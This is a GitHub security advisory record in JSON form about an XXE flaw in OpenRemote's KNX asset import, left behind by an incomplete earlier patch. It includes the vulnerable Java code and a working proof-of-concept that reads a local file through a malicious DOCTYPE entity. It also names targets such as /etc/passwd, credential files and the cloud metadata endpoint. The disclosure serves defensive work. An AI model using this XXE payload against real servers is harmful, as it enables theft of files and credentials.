{"id":"GHSA-7v6w-c3f4-9wpq","summary":"OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory","details":"### Summary\nThe fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files).\n\n### Details\n### Incomplete patch\n\nCVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data.\n\n**Patched file — AbstractVelbusProtocol.java:**\n\n```java\nprivate DocumentBuilderFactory createSecureDocumentBuilderFactory() {\n    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\n    factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n    factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n    factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n    factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n    return factory;\n}\n```\n\n**Vulnerable file — KNXProtocol.java, lines 229–249:**\n\n```java\n// Line 229-230: reads 0.xml from user-uploaded ZIP\nInputStream inputStream = KNXProtocol.class.getResourceAsStream(\".../ets_calimero_group_name.xsl\");\nString xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);\n\n// Lines 233-245: Saxon XSLT — no XXE protection on the source document\nTransformerFactory tfactory = new TransformerFactoryImpl();\nTransformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));\ntransformer.transform(\n    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP\n    new StreamResult(writer));\n\n// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false\ntry (final XmlReader r = XmlInputFactory.newInstance()\n        .createXMLStreamReader(new StringReader(xml))) { ... }\n```\n\n### Data flow\n\n```\nPOST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)\n  → AgentResourceImpl.doProtocolAssetImport(fileData)\n  → KNXProtocol.startAssetImport(byte[] fileData)\n  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP\n  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1\n  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2\n  → external entity resolved → arbitrary file read\n```\n\n### Comparison with patched code\n\n| Handler | XML parser | DTD disabled | Status |\n|---|---|---|---|\n| `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) |\n| `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** |\n\n\n### PoC\nNo full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.\n\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependency:**\n```xml\n\u003cdependency\u003e\n    \u003cgroupId\u003enet.sf.saxon\u003c/groupId\u003e\n    \u003cartifactId\u003eSaxon-HE\u003c/artifactId\u003e\n    \u003cversion\u003e12.9\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Exploit.java:**\n```java\nimport net.sf.saxon.TransformerFactoryImpl;\nimport javax.xml.stream.*;\nimport javax.xml.transform.*;\nimport javax.xml.transform.stream.*;\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class Exploit {\n    public static void main(String[] args) throws Exception {\n\n        // Sentinel file — proves arbitrary file read\n        Path sentinel = Files.createTempFile(\"openremote_xxe_proof_\", \".txt\");\n        String tag = \"OPENREMOTE_KNX_XXE_\" + System.currentTimeMillis();\n        Files.writeString(sentinel, tag);\n\n        String maliciousXml =\n            \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n            \"\u003c!DOCTYPE root [\\n\" +\n            \"  \u003c!ENTITY xxe SYSTEM \\\"file://\" + sentinel.toAbsolutePath() + \"\\\"\u003e\\n\" +\n            \"]\u003e\\n\" +\n            \"\u003croot\u003e\u003cdata\u003e&xxe;\u003c/data\u003e\u003c/root\u003e\";\n\n        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)\n        XMLInputFactory factory = XMLInputFactory.newInstance();\n        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));\n        StringBuilder sb = new StringBuilder();\n        while (reader.hasNext()) {\n            int e = reader.next();\n            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());\n        }\n        System.out.println(\"Stage A result: \" + sb.toString().trim());\n\n        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)\n        String xsl = \"\u003c?xml version=\\\"1.0\\\"?\u003e\" +\n            \"\u003cxsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\u003e\" +\n            \"\u003cxsl:output method=\\\"text\\\"/\u003e\" +\n            \"\u003cxsl:template match=\\\"/\\\"\u003e\u003cxsl:value-of select=\\\"root/data\\\"/\u003e\u003c/xsl:template\u003e\" +\n            \"\u003c/xsl:stylesheet\u003e\";\n        TransformerFactory tf = new TransformerFactoryImpl();\n        StringWriter writer = new StringWriter();\n        tf.newTransformer(new StreamSource(new StringReader(xsl)))\n          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));\n        System.out.println(\"Stage B result: \" + writer.toString().trim());\n\n        Files.deleteIfExists(sentinel);\n    }\n}\n```\n\n**Build and run:**\n```bash\nmvn clean package -q\njava -jar target/openremote-xxe-1.0.jar\n```\n\n**Verified output (JDK 21, Linux):**\n```\nStage A result: OPENREMOTE_KNX_XXE_1780611779589\nStage B result: OPENREMOTE_KNX_XXE_1780611779589\n```\n\nBoth stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.\n\n\n### Impact\n**Vulnerability type:** XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).\n\n**Who is impacted:** Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:\n\n- `/etc/passwd` — user enumeration\n- Application configuration files containing database credentials or API keys\n- Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`)\n- Internal service endpoints reachable from the server\n\nThe vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.","aliases":["CVE-2026-54640"],"modified":"2026-07-06T21:11:32.012240Z","published":"2026-07-06T20:49:51Z","database_specific":{"github_reviewed_at":"2026-07-06T20:49:51Z","nvd_published_at":null,"cwe_ids":["CWE-611"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq"},{"type":"WEB","url":"https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9"},{"type":"PACKAGE","url":"https://github.com/openremote/openremote"}],"affected":[{"package":{"name":"io.openremote:openremote-agent","ecosystem":"Maven","purl":"pkg:maven/io.openremote/openremote-agent"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.24.2"}]}],"versions":["0.1.0","1.10.0","1.11.0","1.11.1","1.11.2","1.11.3","1.12.0","1.12.1","1.12.3","1.13.0","1.13.1","1.14.0","1.15.0","1.15.1","1.15.2","1.16.1","1.17.0","1.17.1","1.17.2","1.17.3","1.18.0","1.19.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.20.0","1.20.1","1.20.2","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.24.1","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.5.0","1.6.0","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.8.0","1.8.1","1.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.24.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-7v6w-c3f4-9wpq/GHSA-7v6w-c3f4-9wpq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"}]}